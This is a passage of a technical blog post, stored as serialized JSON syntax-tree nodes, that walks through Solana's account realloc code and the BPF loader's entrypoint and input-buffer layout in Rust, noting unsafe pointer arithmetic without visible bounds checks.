,"value":3004},{"type":23,"tag":141,"props":12589,"children":12590},{"style":472},[12591],{"type":29,"value":2752},{"type":23,"tag":141,"props":12593,"children":12594},{"style":154},[12595],{"type":29,"value":1748},{"type":23,"tag":141,"props":12597,"children":12598},{"style":449},[12599],{"type":29,"value":7518},{"type":23,"tag":141,"props":12601,"children":12602},{"style":160},[12603],{"type":29,"value":8496},{"type":23,"tag":141,"props":12605,"children":12606},{"style":449},[12607],{"type":29,"value":2389},{"type":23,"tag":141,"props":12609,"children":12610},{"style":725},[12611],{"type":29,"value":4534},{"type":23,"tag":141,"props":12613,"children":12614},{"style":154},[12615],{"type":29,"value":1684},{"type":23,"tag":141,"props":12617,"children":12618},{"class":143,"line":271},[12619,12623,12627,12631,12636,12640,12644],{"type":23,"tag":141,"props":12620,"children":12621},{"style":160},[12622],{"type":29,"value":6426},{"type":23,"tag":141,"props":12624,"children":12625},{"style":750},[12626],{"type":29,"value":542},{"type":23,"tag":141,"props":12628,"children":12629},{"style":160},[12630],{"type":29,"value":1674},{"type":23,"tag":141,"props":12632,"children":12633},{"style":750},[12634],{"type":29,"value":12635}," new_len",{"type":23,"tag":141,"props":12637,"children":12638},{"style":449},[12639],{"type":29,"value":7504},{"type":23,"tag":141,"props":12641,"children":12642},{"style":725},[12643],{"type":29,"value":4534},{"type":23,"tag":141,"props":12645,"children":12646},{"style":154},[12647],{"type":29,"value":1684},{"type":23,"tag":141,"props":12649,"children":12650},{"class":143,"line":293},[12651],{"type":23,"tag":141,"props":12652,"children":12653},{"emptyLinePlaceholder":15},[12654],{"type":29,"value":719},{"type":23,"tag":141,"props":12656,"children":12657},{"class":143,"line":801},[12658],{"type":23,"tag":141,"props":12659,"children":12660},{"style":443},[12661],{"type":29,"value":12662}," // Then set the new length in the local slice\n",{"type":23,"tag":141,"props":12664,"children":12665},{"class":143,"line":810},[12666,12670,12674,12678,12682,12686,12690,12695,12699,12703,12707,12711,12716,12721,12725,12729,12733,12737,12741,12745,12749,12753,12757,12761,12765,12769,12773,12777,12781,12785,12789],{"type":23,"tag":141,"props":12667,"children":12668},{"style":449},[12669],{"type":29,"value":1725},{"type":23,"tag":141,"props":12671,"children":12672},{"style":750},[12673],{"type":29,"value":12535},{"type":23,"tag":141,"props":12675,"children":12676},{"style":160},[12677],{"type":29,"value":1674},{"type":23,"tag":141,"props":12679,"children":12680},{"style":160},[12681],{"type":29,"value":5815},{"type":23,"tag":141,"props":12683,"children":12684},{"style":449},[12685],{"type":29,"value":2389},{"type":23,"tag":141,"props":12687,"children":12688},{"style":160},[12689],{"type":29,"value":8496},{"type":23,"tag":141,"props":12691,"children":12692},{"style":154},[12693],{"type":29,"value":12694},"(((",{"type":23,"tag":141,"props":12696,"children":12697},{"style":449},[12698],{"type":29,"value":12391},{"type":23,"tag":141,"props":12700,"children":12701},{"style":160},[12702],{"type":29,"value":322},{"type":23,"tag":141,"props":12704,"children":12705},{"style":154},[12706],{"type":29,"value":2367},{"type":23,"tag":141,"props":12708,"children":12709},{"style":160},[12710],{"type":29,"value":322},{"type":23,"tag":141,"props":12712,"children":12713},{"style":184},[12714],{"type":29,"value":12715},"as_ptr",{"type":23,"tag":141,"props":12717,"children":12718},{"style":154},[12719],{"type":29,"value":12720},"() ",{"type":23,"tag":141,"props":12722,"children":12723},{"style":449},[12724],{"type":29,"value":7518},{"type":23,"tag":141,"props":12726,"children":12727},{"style":160},[12728],{"type":29,"value":8496},{"type":23,"tag":141,"props":12730,"children":12731},{"style":449},[12732],{"type":29,"value":8334},{"type":23,"tag":141,"props":12734,"children":12735},{"style":725},[12736],{"type":29,"value":4534},{"type":23,"tag":141,"props":12738,"children":12739},{"style":154},[12740],{"type":29,"value":1788},{"type":23,"tag":141,"props":12742,"children":12743},{"style":160},[12744],{"type":29,"value":322},{"type":23,"tag":141,"props":12746,"children":12747},{"style":184},[12748],{"type":29,"value":12579},{"type":23,"tag":141,"props":12750,"children":12751},{"style":154},[12752],{"type":29,"value":192},{"type":23,"tag":141,"props":12754,"children":12755},{"style":472},[12756],{"type":29,"value":687},{"type":23,"tag":141,"props":12758,"children":12759},{"style":154},[12760],{"type":29,"value":1748},{"type":23,"tag":141,"props":12762,"children":12763},{"style":449},[12764],{"type":29,"value":7518},{"type":23,"tag":141,"props":12766,"children":12767},{"style":725},[12768],{"type":29,"value":4534},{"type":23,"tag":141,"props":12770,"children":12771},{"style":154},[12772],{"type":29,"value":1748},{"type":23,"tag":141,"props":12774,"children":12775},{"style":449},[12776],{"type":29,"value":7518},{"type":23,"tag":141,"props":12778,"children":12779},{"style":160},[12780],{"type":29,"value":8496},{"type":23,"tag":141,"props":12782,"children":12783},{"style":449},[12784],{"type":29,"value":2389},{"type":23,"tag":141,"props":12786,"children":12787},{"style":725},[12788],{"type":29,"value":4534},{"type":23,"tag":141,"props":12790,"children":12791},{"style":154},[12792],{"type":29,"value":2496},{"type":23,"tag":141,"props":12794,"children":12795},{"class":143,"line":824},[12796,12800,12804,12808,12812,12816,12820],{"type":23,"tag":141,"props":12797,"children":12798},{"style":160},[12799],{"type":29,"value":6426},{"type":23,"tag":141,"props":12801,"children":12802},{"style":750},[12803],{"type":29,"value":542},{"type":23,"tag":141,"props":12805,"children":12806},{"style":160},[12807],{"type":29,"value":1674},{"type":23,"tag":141,"props":12809,"children":12810},{"style":750},[12811],{"type":29,"value":12635},{"type":23,"tag":141,"props":12813,"children":12814},{"style":449},[12815],{"type":29,"value":7504},{"type":23,"tag":141,"props":12817,"children":12818},{"style":725},[12819],{"type":29,"value":4534},{"type":23,"tag":141,"props":12821,"children":12822},{"style":154},[12823],{"type":29,"value":1684},{"type":23,"tag":141,"props":12825,"children":12826},{"class":143,"line":839},[12827],{"type":23,"tag":141,"props":12828,"children":12829},{"style":154},[12830],{"type":29,"value":299},{"type":23,"tag":141,"props":12832,"children":12833},{"class":143,"line":848},[12834],{"type":23,"tag":141,"props":12835,"children":12836},{"emptyLinePlaceholder":15},[12837],{"type":29,"value":719},{"type":23,"tag":141,"props":12839,"children":12840},{"class":143,"line":2304},[12841],{"type":23,"tag":141,"props":12842,"children":12843},{"style":443},[12844],{"type":29,"value":12845}," // zero-init if requested\n",{"type":23,"tag":141,"props":12847,"children":12848},{"class":143,"line":2313},[12849,12853,12858,12862,12866,12871,12875],{"type":23,"tag":141,"props":12850,"children":12851},{"style":148},[12852],{"type":29,"value":151},{"type":23,"tag":141,"props":12854,"children":12855},{"style":750},[12856],{"type":29,"value":12857}," zero_init",{"type":23,"tag":141,"props":12859,"children":12860},{"style":160},[12861],{"type":29,"value":1253},{"type":23,"tag":141,"props":12863,"children":12864},{"style":750},[12865],{"type":29,"value":12635},{"type":23,"tag":141,"props":12867,"children":12868},{"style":160},[12869],{"type":29,"value":12870}," >",{"type":23,"tag":141,"props":12872,"children":12873},{"style":750},[12874],{"type":29,"value":12466},{"type":23,"tag":141,"props":12876,"children":12877},{"style":154},[12878],{"type":29,"value":1951},{"type":23,"tag":141,"props":12880,"children":12881},{"class":143,"line":2335},[12882,12887],{"type":23,"tag":141,"props":12883,"children":12884},{"style":184},[12885],{"type":29,"value":12886}," sol_memset",{"type":23,"tag":141,"props":12888,"children":12889},{"style":154},[12890],{"type":29,"value":2123},{"type":23,"tag":141,"props":12892,"children":12893},{"class":143,"line":2343},[12894,12898,12902,12906,12910,12914,12918,12922,12926,12931,12935],{"type":23,"tag":141,"props":12895,"children":12896},{"style":160},[12897],{"type":29,"value":6359},{"type":23,"tag":141,"props":12899,"children":12900},{"style":449},[12901],{"type":29,"value":2389},{"type":23,"tag":141,"props":12903,"children":12904},{"style":449},[12905],{"type":29,"value":12475},{"type":23,"tag":141,"props":12907,"children":12908},{"style":160},[12909],{"type":29,"value":322},{"type":23,"tag":141,"props":12911,"children":12912},{"style":184},[12913],{"type":29,"value":12552},{"type":23,"tag":141,"props":12915,"children":12916},{"style":154},[12917],{"type":29,"value":12557},{"type":23,"tag":141,"props":12919,"children":12920},{"style":160},[12921],{"type":29,"value":1816},{"type":23,"tag":141,"props":12923,"children":12924},{"style":154},[12925],{"type":29,"value":2399},{"type":23,"tag":141,"props":12927,"children":12928},{"style":750},[12929],{"type":29,"value":12930},"orig_len",{"type":23,"tag":141,"props":12932,"children":12933},{"style":160},[12934],{"type":29,"value":1712},{"type":23,"tag":141,"props":12936,"children":12937},{"style":154},[12938],{"type":29,"value":12939},"],\n",{"type":23,"tag":141,"props":12941,"children":12942},{"class":143,"line":2352},[12943,12948],{"type":23,"tag":141,"props":12944,"children":12945},{"style":472},[12946],{"type":29,"value":12947}," 0",{"type":23,"tag":141,"props":12949,"children":12950},{"style":154},[12951],{"type":29,"value":2168},{"type":23,"tag":141,"props":12953,"children":12954},{"class":143,"line":2421},[12955,12960,12964,12969,12973,12977],{"type":23,"tag":141,"props":12956,"children":12957},{"style":750},[12958],{"type":29,"value":12959}," new_len",{"type":23,"tag":141,"props":12961,"children":12962},{"style":160},[12963],{"type":29,"value":322},{"type":23,"tag":141,"props":12965,"children":12966},{"style":184},[12967],{"type":29,"value":12968},"saturating_sub",{"type":23,"tag":141,"props":12970,"children":12971},{"style":154},[12972],{"type":29,"value":192},{"type":23,"tag":141,"props":12974,"children":12975},{"style":750},[12976],{"type":29,"value":12930},{"type":23,"tag":141,"props":12978,"children":12979},{"style":154},[12980],{"type":29,"value":5410},{"type":23,"tag":141,"props":12982,"children":12983},{"class":143,"line":2429},[12984],{"type":23,"tag":141,"props":12985,"children":12986},{"style":154},[12987],{"type":29,"value":6418},{"type":23,"tag":141,"props":12989,"children":12990},{"class":143,"line":2459},[12991],{"type":23,"tag":141,"props":12992,"children":12993},{"style":154},[12994],{"type":29,"value":299},{"type":23,"tag":141,"props":12996,"children":12997},{"class":143,"line":2467},[12998],{"type":23,"tag":141,"props":12999,"children":13000},{"emptyLinePlaceholder":15},[13001],{"type":29,"value":719},{"type":23,"tag":141,"props":13003,"children":13004},{"class":143,"line":2499},[13005,13010],{"type":23,"tag":141,"props":13006,"children":13007},{"style":725},[13008],{"type":29,"value":13009}," Ok",{"type":23,"tag":141,"props":13011,"children":13012},{"style":154},[13013],{"type":29,"value":13014},"(())\n",{"type":23,"tag":141,"props":13016,"children":13017},{"class":143,"line":2507},[13018],{"type":23,"tag":141,"props":13019,"children":13020},{"style":154},[13021],{"type":29,"value":2573},{"type":23,"tag":32,"props":13023,"children":13024},{},[13025,13027,13033,13035,13040],{"type":29,"value":13026},"Oh. There's ",{"type":23,"tag":38,"props":13028,"children":13030},{"className":13029},[],[13031],{"type":29,"value":13032},"unsafe",{"type":29,"value":13034},". And no bounds check in sight. ",{"type":23,"tag":47,"props":13036,"children":13037},{},[13038],{"type":29,"value":13039},"And",{"type":29,"value":13041}," pointer math. That doesn't look promising...",{"type":23,"tag":24,"props":13043,"children":13045},{"id":13044},"breaking-down-realloc",[13046,13048],{"type":29,"value":13047},"Breaking down ",{"type":23,"tag":38,"props":13049,"children":13051},{"className":13050},[],[13052],{"type":29,"value":12316},{"type":23,"tag":32,"props":13054,"children":13055},{},[13056,13058,13063],{"type":29,"value":13057},"Let's pick apart this ",{"type":23,"tag":38,"props":13059,"children":13061},{"className":13060},[],[13062],{"type":29,"value":13032},{"type":29,"value":13064}," block, since there's a lot going on here.",{"type":23,"tag":131,"props":13066,"children":13068},{"className":1639,"code":13067,"language":1638,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[13069],{"type":23,"tag":38,"props":13070,"children":13071},{"__ignoreMap":7},[13072,13080,13167],{"type":23,"tag":141,"props":13073,"children":13074},{"class":143,"line":144},[13075],{"type":23,"tag":141,"props":13076,"children":13077},{"style":443},[13078],{"type":29,"value":13079},"// First set new length in the serialized data\n",{"type":23,"tag":141,"props":13081,"children":13082},{"class":143,"line":180},[13083,13087,13091,13095,13099,13103,13107,13111,13115,13119,13123,13127,13131,13135,13139,13143,13147,13151,13155,13159,13163],{"type":23,"tag":141,"props":13084,"children":13085},{"style":449},[13086],{"type":29,"value":10467},{"type":23,"tag":141,"props":13088,"children":13089},{"style":750},[13090],{"type":29,"value":12535},{"type":23,"tag":141,"props":13092,"children":13093},{"style":160},[13094],{"type":29,"value":1674},{"type":23,"tag":141,"props":13096,"children":13097},{"style":449},[13098],{"type":29,"value":12475},{"type":23,"tag":141,"props":13100,"children":13101},{"style":160},[13102],{"type":29,"value":322},{"type":23,"tag":141,"props":13104,"children":13105},{"style":184},[13106],{"type":29,"value":12552},{"type":23,"tag":141,"props":13108,"children":13109},{"style":154},[13110],{"type":29,"value":12557},{"type":23,"tag":141,"props":13112,"children":13113},{"style":160},[13114],{"type":29,"value":1793},{"type":23,"tag":141,"props":13116,"children":13117},{"style":184},[13118],{"type":29,"value":12566},{"type":23,"tag":141,"props":13120,"children":13121},{"style":154},[13122],{"type":29,"value":12557},{"type":23,"tag":141,"props":13124,"children":13125},{"style":160},[13126],{"type":29,"value":322},{"type":23,"tag":141,"props":13128,"children":13129},{"style":184},[13130],{"type":29,"value":12579},{"type":23,"tag":141,"props":13132,"children":13133},{"style":154},[13134],{"type":29,"value":192},{"type":23,"tag":141,"props":13136,"children":13137},{"style":160},[13138],{"type":29,"value":3004},{"type":23,"tag":141,"props":13140,"children":13141},{"style":472},[13142],{"type":29,"value":2752},{"type":23,"tag":141,"props":13144,"children":13145},{"style":154},[13146],{"type":29,"value":1748},{"type":23,"tag":141,"props":13148,"children":13149},{"style":449},[13150],{"type":29,"value":7518},{"type":23,"tag":141,"props":13152,"children":13153},{"style":160},[13154],{"type":29,"value":8496},{"type":23,"tag":141,"props":13156,"children":13157},{"style":449},[13158],{"type":29,"value":2389},{"type":23,"tag":141,"props":13160,"children":13161},{"style":725},[13162],{"type":29,"value":4534},{"type":23,"tag":141,"props":13164,"children":13165},{"style":154},[13166],{"type":29,"value":1684},{"type":23,"tag":141,"props":13168,"children":13169},{"class":143,"line":205},[13170,13174,13178,13182,13186,13190,13194],{"type":23,"tag":141,"props":13171,"children":13172},{"style":160},[13173],{"type":29,"value":197},{"type":23,"tag":141,"props":13175,"children":13176},{"style":750},[13177],{"type":29,"value":542},{"type":23,"tag":141,"props":13179,"children":13180},{"style":160},[13181],{"type":29,"value":1674},{"type":23,"tag":141,"props":13183,"children":13184},{"style":750},[13185],{"type":29,"value":12635},{"type":23,"tag":141,"props":13187,"children":13188},{"style":449},[13189],{"type":29,"value":7504},{"type":23,"tag":141,"props":13191,"children":13192},{"style":725},[13193],{"type":29,"value":4534},{"type":23,"tag":141,"props":13195,"children":13196},{"style":154},[13197],{"type":29,"value":1684},{"type":23,"tag":32,"props":13199,"children":13200},{},[13201,13206],{"type":23,"tag":38,"props":13202,"children":13204},{"className":13203},[],[13205],{"type":29,"value":12552},{"type":29,"value":13207}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":8287,"props":13209,"children":13211},{"id":13210},"bpf-loader-abi",[13212],{"type":29,"value":13213},"BPF Loader ABI",{"type":23,"tag":32,"props":13215,"children":13216},{},[13217,13219,13224,13226,13239],{"type":29,"value":13218},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":38,"props":13220,"children":13222},{"className":13221},[],[13223],{"type":29,"value":12331},{"type":29,"value":13225},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":55,"props":13227,"children":13230},{"href":13228,"rel":13229},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[59],[13231,13237],{"type":23,"tag":38,"props":13232,"children":13234},{"className":13233},[],[13235],{"type":29,"value":13236},"entrypoint!",{"type":29,"value":13238}," macro",{"type":29,"value":114},{"type":23,"tag":131,"props":13241,"children":13243},{"className":1639,"code":13242,"language":1638,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[13244],{"type":23,"tag":38,"props":13245,"children":13246},{"__ignoreMap":7},[13247,13255,13327,13370,13422,13481,13524,13567,13574],{"type":23,"tag":141,"props":13248,"children":13249},{"class":143,"line":144},[13250],{"type":23,"tag":141,"props":13251,"children":13252},{"style":154},[13253],{"type":29,"value":13254},"#[no_mangle]\n",{"type":23,"tag":141,"props":13256,"children":13257},{"class":143,"line":180},[13258,13262,13267,13272,13277,13281,13286,13290,13294,13298,13302,13306,13311,13315,13319,13323],{"type":23,"tag":141,"props":13259,"children":13260},{"style":449},[13261],{"type":29,"value":12368},{"type":23,"tag":141,"props":13263,"children":13264},{"style":449},[13265],{"type":29,"value":13266}," unsafe",{"type":23,"tag":141,"props":13268,"children":13269},{"style":449},[13270],{"type":29,"value":13271}," extern",{"type":23,"tag":141,"props":13273,"children":13274},{"style":828},[13275],{"type":29,"value":13276}," \"C\"",{"type":23,"tag":141,"props":13278,"children":13279},{"style":449},[13280],{"type":29,"value":12373},{"type":23,"tag":141,"props":13282,"children":13283},{"style":184},[13284],{"type":29,"value":13285}," entrypoint",{"type":23,"tag":141,"props":13287,"children":13288},{"style":154},[13289],{"type":29,"value":192},{"type":23,"tag":141,"props":13291,"children":13292},{"style":750},[13293],{"type":29,"value":7042},{"type":23,"tag":141,"props":13295,"children":13296},{"style":160},[13297],{"type":29,"value":114},{"type":23,"tag":141,"props":13299,"children":13300},{"style":160},[13301],{"type":29,"value":8496},{"type":23,"tag":141,"props":13303,"children":13304},{"style":449},[13305],{"type":29,"value":2389},{"type":23,"tag":141,"props":13307,"children":13308},{"style":725},[13309],{"type":29,"value":13310}," u8",{"type":23,"tag":141,"props":13312,"children":13313},{"style":154},[13314],{"type":29,"value":1748},{"type":23,"tag":141,"props":13316,"children":13317},{"style":160},[13318],{"type":29,"value":12435},{"type":23,"tag":141,"props":13320,"children":13321},{"style":725},[13322],{"type":29,"value":4534},{"type":23,"tag":141,"props":13324,"children":13325},{"style":154},[13326],{"type":29,"value":1951},{"type":23,"tag":141,"props":13328,"children":13329},{"class":143,"line":205},[13330,13334,13338,13343,13347,13352,13356,13361,13365],{"type":23,"tag":141,"props":13331,"children":13332},{"style":449},[13333],{"type":29,"value":1659},{"type":23,"tag":141,"props":13335,"children":13336},{"style":154},[13337],{"type":29,"value":1220},{"type":23,"tag":141,"props":13339,"children":13340},{"style":750},[13341],{"type":29,"value":13342},"program_id",{"type":23,"tag":141,"props":13344,"children":13345},{"style":154},[13346],{"type":29,"value":480},{"type":23,"tag":141,"props":13348,"children":13349},{"style":750},[13350],{"type":29,"value":13351},"accounts",{"type":23,"tag":141,"props":13353,"children":13354},{"style":154},[13355],{"type":29,"value":480},{"type":23,"tag":141,"props":13357,"children":13358},{"style":750},[13359],{"type":29,"value":13360},"instruction_data",{"type":23,"tag":141,"props":13362,"children":13363},{"style":154},[13364],{"type":29,"value":1748},{"type":23,"tag":141,"props":13366,"children":13367},{"style":160},[13368],{"type":29,"value":13369},"=\n",{"type":23,"tag":141,"props":13371,"children":13372},{"class":143,"line":218},[13373,13378,13382,13386,13391,13395,13400,13404,13409,13413,13417],{"type":23,"tag":141,"props":13374,"children":13375},{"style":449},[13376],{"type":29,"value":13377}," unsafe",{"type":23,"tag":141,"props":13379,"children":13380},{"style":154},[13381],{"type":29,"value":8264},{"type":23,"tag":141,"props":13383,"children":13384},{"style":160},[13385],{"type":29,"value":8968},{"type":23,"tag":141,"props":13387,"children":13388},{"style":449},[13389],{"type":29,"value":13390},"crate",{"type":23,"tag":141,"props":13392,"children":13393},{"style":160},[13394],{"type":29,"value":2141},{"type":23,"tag":141,"props":13396,"children":13397},{"style":154},[13398],{"type":29,"value":13399},"entrypoint",{"type":23,"tag":141,"props":13401,"children":13402},{"style":160},[13403],{"type":29,"value":2141},{"type":23,"tag":141,"props":13405,"children":13406},{"style":184},[13407],{"type":29,"value":13408},"deserialize",{"type":23,"tag":141,"props":13410,"children":13411},{"style":154},[13412],{"type":29,"value":192},{"type":23,"tag":141,"props":13414,"children":13415},{"style":750},[13416],{"type":29,"value":7042},{"type":23,"tag":141,"props":13418,"children":13419},{"style":154},[13420],{"type":29,"value":13421},") };\n",{"type":23,"tag":141,"props":13423,"children":13424},{"class":143,"line":227},[13425,13430,13435,13440,13444,13448,13452,13456,13460,13464,13468,13472,13476],{"type":23,"tag":141,"props":13426,"children":13427},{"style":148},[13428],{"type":29,"value":13429}," match",{"type":23,"tag":141,"props":13431,"children":13432},{"style":160},[13433],{"type":29,"value":13434}," $",{"type":23,"tag":141,"props":13436,"children":13437},{"style":750},[13438],{"type":29,"value":13439},"process_instruction",{"type":23,"tag":141,"props":13441,"children":13442},{"style":154},[13443],{"type":29,"value":192},{"type":23,"tag":141,"props":13445,"children":13446},{"style":160},[13447],{"type":29,"value":1770},{"type":23,"tag":141,"props":13449,"children":13450},{"style":750},[13451],{"type":29,"value":13342},{"type":23,"tag":141,"props":13453,"children":13454},{"style":154},[13455],{"type":29,"value":480},{"type":23,"tag":141,"props":13457,"children":13458},{"style":160},[13459],{"type":29,"value":1770},{"type":23,"tag":141,"props":13461,"children":13462},{"style":750},[13463],{"type":29,"value":13351},{"type":23,"tag":141,"props":13465,"children":13466},{"style":154},[13467],{"type":29,"value":480},{"type":23,"tag":141,"props":13469,"children":13470},{"style":160},[13471],{"type":29,"value":1770},{"type":23,"tag":141,"props":13473,"children":13474},{"style":750},[13475],{"type":29,"value":13360},{"type":23,"tag":141,"props":13477,"children":13478},{"style":154},[13479],{"type":29,"value":13480},") {\n",{"type":23,"tag":141,"props":13482,"children":13483},{"class":143,"line":241},[13484,13489,13494,13499,13503,13507,13511,13515,13519],{"type":23,"tag":141,"props":13485,"children":13486},{"style":725},[13487],{"type":29,"value":13488}," Ok",{"type":23,"tag":141,"props":13490,"children":13491},{"style":154},[13492],{"type":29,"value":13493},"(()) ",{"type":23,"tag":141,"props":13495,"children":13496},{"style":160},[13497],{"type":29,"value":13498},"=>",{"type":23,"tag":141,"props":13500,"children":13501},{"style":160},[13502],{"type":29,"value":13434},{"type":23,"tag":141,"props":13504,"children":13505},{"style":449},[13506],{"type":29,"value":13390},{"type":23,"tag":141,"props":13508,"children":13509},{"style":160},[13510],{"type":29,"value":2141},{"type":23,"tag":141,"props":13512,"children":13513},{"style":154},[13514],{"type":29,"value":13399},{"type":23,"tag":141,"props":13516,"children":13517},{"style":160},[13518],{"type":29,"value":2141},{"type":23,"tag":141,"props":13520,"children":13521},{"style":154},[13522],{"type":29,"value":13523},"SUCCESS,\n",{"type":23,"tag":141,"props":13525,"children":13526},{"class":143,"line":262},[13527,13532,13536,13541,13545,13549,13554,13558,13563],{"type":23,"tag":141,"props":13528,"children":13529},{"style":725},[13530],{"type":29,"value":13531}," Err",{"type":23,"tag":141,"props":13533,"children":13534},{"style":154},[13535],{"type":29,"value":192},{"type":23,"tag":141,"props":13537,"children":13538},{"style":750},[13539],{"type":29,"value":13540},"error",{"type":23,"tag":141,"props":13542,"children":13543},{"style":154},[13544],{"type":29,"value":1748},{"type":23,"tag":141,"props":13546,"children":13547},{"style":160},[13548],{"type":29,"value":13498},{"type":23,"tag":141,"props":13550,"children":13551},{"style":750},[13552],{"type":29,"value":13553}," error",{"type":23,"tag":141,"props":13555,"children":13556},{"style":160},[13557],{"type":29,"value":322},{"type":23,"tag":141,"props":13559,"children":13560},{"style":184},[13561],{"type":29,"value":13562},"into",{"type":23,"tag":141,"props":13564,"children":13565},{"style":154},[13566],{"type":29,"value":2151},{"type":23,"tag":141,"props":13568,"children":13569},{"class":143,"line":271},[13570],{"type":23,"tag":141,"props":13571,"children":13572},{"style":154},[13573],{"type":29,"value":299},{"type":23,"tag":141,"props":13575,"children":13576},{"class":143,"line":293},[13577],{"type":23,"tag":141,"props":13578,"children":13579},{"style":154},[13580],{"type":29,"value":2573},{"type":23,"tag":32,"props":13582,"children":13583},{},[13584,13586,13591,13593,13599,13601,13608,13610,13616,13618,13625],{"type":29,"value":13585},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":38,"props":13587,"children":13589},{"className":13588},[],[13590],{"type":29,"value":2081},{"type":29,"value":13592}," buffer in from the loader, and calls ",{"type":23,"tag":38,"props":13594,"children":13596},{"className":13595},[],[13597],{"type":29,"value":13598},"solana_program::entrypoint::deserialize",{"type":29,"value":13600},", which then ",{"type":23,"tag":55,"props":13602,"children":13605},{"href":13603,"rel":13604},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[59],[13606],{"type":29,"value":13607},"parses out",{"type":29,"value":13609}," all the ",{"type":23,"tag":38,"props":13611,"children":13613},{"className":13612},[],[13614],{"type":29,"value":13615},"AccountInfo",{"type":29,"value":13617},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":55,"props":13619,"children":13622},{"href":13620,"rel":13621},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[59],[13623],{"type":29,"value":13624},"laid out",{"type":29,"value":114},{"type":23,"tag":131,"props":13627,"children":13629},{"className":1639,"code":13628,"language":1638,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[13630],{"type":23,"tag":38,"props":13631,"children":13632},{"__ignoreMap":7},[13633,13650,13730,13763,13770,13818,13863,13871,13895],{"type":23,"tag":141,"props":13634,"children":13635},{"class":143,"line":144},[13636,13641,13645],{"type":23,"tag":141,"props":13637,"children":13638},{"style":154},[13639],{"type":29,"value":13640},"#[allow(clippy",{"type":23,"tag":141,"props":13642,"children":13643},{"style":160},[13644],{"type":29,"value":2141},{"type":23,"tag":141,"props":13646,"children":13647},{"style":154},[13648],{"type":29,"value":13649},"cast_ptr_alignment)]\n",{"type":23,"tag":141,"props":13651,"children":13652},{"class":143,"line":180},[13653,13657,13662,13666,13670,13674,13678,13682,13686,13690,13694,13698,13702,13706,13710,13714,13718,13722,13726],{"type":23,"tag":141,"props":13654,"children":13655},{"style":449},[13656],{"type":29,"value":10467},{"type":23,"tag":141,"props":13658,"children":13659},{"style":750},[13660],{"type":29,"value":13661}," data_len",{"type":23,"tag":141,"props":13663,"children":13664},{"style":160},[13665],{"type":29,"value":1674},{"type":23,"tag":141,"props":13667,"children":13668},{"style":160},[13669],{"type":29,"value":8496},{"type":23,"tag":141,"props":13671,"children":13672},{"style":154},[13673],{"type":29,"value":192},{"type":23,"tag":141,"props":13675,"children":13676},{"style":750},[13677],{"type":29,"value":7042},{"type":23,"tag":141,"props":13679,"children":13680},{"style":160},[13681],{"type":29,"value":322},{"type":23,"tag":141,"props":13683,"children":13684},{"style":184},[13685],{"type":29,"value":8317},{"type":23,"tag":141,"props":13687,"children":13688},{"style":154},[13689],{"type":29,"value":192},{"type":23,"tag":141,"props":13691,"children":13692},{"style":750},[13693],{"type":29,"value":12579},{"type":23,"tag":141,"props":13695,"children":13696},{"style":154},[13697],{"type":29,"value":1748},{"type":23,"tag":141,"props":13699,"children":13700},{"style":449},[13701],{"type":29,"value":7518},{"type":23,"tag":141,"props":13703,"children":13704},{"style":160},[13705],{"type":29,"value":8496},{"type":23,"tag":141,"props":13707,"children":13708},{"style":449},[13709],{"type":29,"value":8334},{"type":23,"tag":141,"props":13711,"children":13712},{"style":725},[13713],{"type":29,"value":4534},{"type":23,"tag":141,"props":13715,"children":13716},{"style":154},[13717],{"type":29,"value":1748},{"type":23,"tag":141,"props":13719,"children":13720},{"style":449},[13721],{"type":29,"value":7518},{"type":23,"tag":141,"props":13723,"children":13724},{"style":725},[13725],{"type":29,"value":12409},{"type":23,"tag":141,"props":13727,"children":13728},{"style":154},[13729],{"type":29,"value":1684},{"type":23,"tag":141,"props":13731,"children":13732},{"class":143,"line":205},[13733,13737,13742,13747,13751,13755,13759],{"type":23,"tag":141,"props":13734,"children":13735},{"style":750},[13736],{"type":29,"value":12579},{"type":23,"tag":141,"props":13738,"children":13739},{"style":160},[13740],{"type":29,"value":13741}," +=",{"type":23,"tag":141,"props":13743,"children":13744},{"style":184},[13745],{"type":29,"value":13746}," size_of",{"type":23,"tag":141,"props":13748,"children":13749},{"style":160},[13750],{"type":29,"value":2141},{"type":23,"tag":141,"props":13752,"children":13753},{"style":154},[13754],{"type":29,"value":4480},{"type":23,"tag":141,"props":13756,"children":13757},{"style":725},[13758],{"type":29,"value":6717},{"type":23,"tag":141,"props":13760,"children":13761},{"style":154},[13762],{"type":29,"value":7127},{"type":23,"tag":141,"props":13764,"children":13765},{"class":143,"line":218},[13766],{"type":23,"tag":141,"props":13767,"children":13768},{"emptyLinePlaceholder":15},[13769],{"type":29,"value":719},{"type":23,"tag":141,"props":13771,"children":13772},{"class":143,"line":227},[13773,13777,13782,13786,13791,13795,13800,13805,13809,13813],{"type":23,"tag":141,"props":13774,"children":13775},{"style":449},[13776],{"type":29,"value":10467},{"type":23,"tag":141,"props":13778,"children":13779},{"style":750},[13780],{"type":29,"value":13781}," 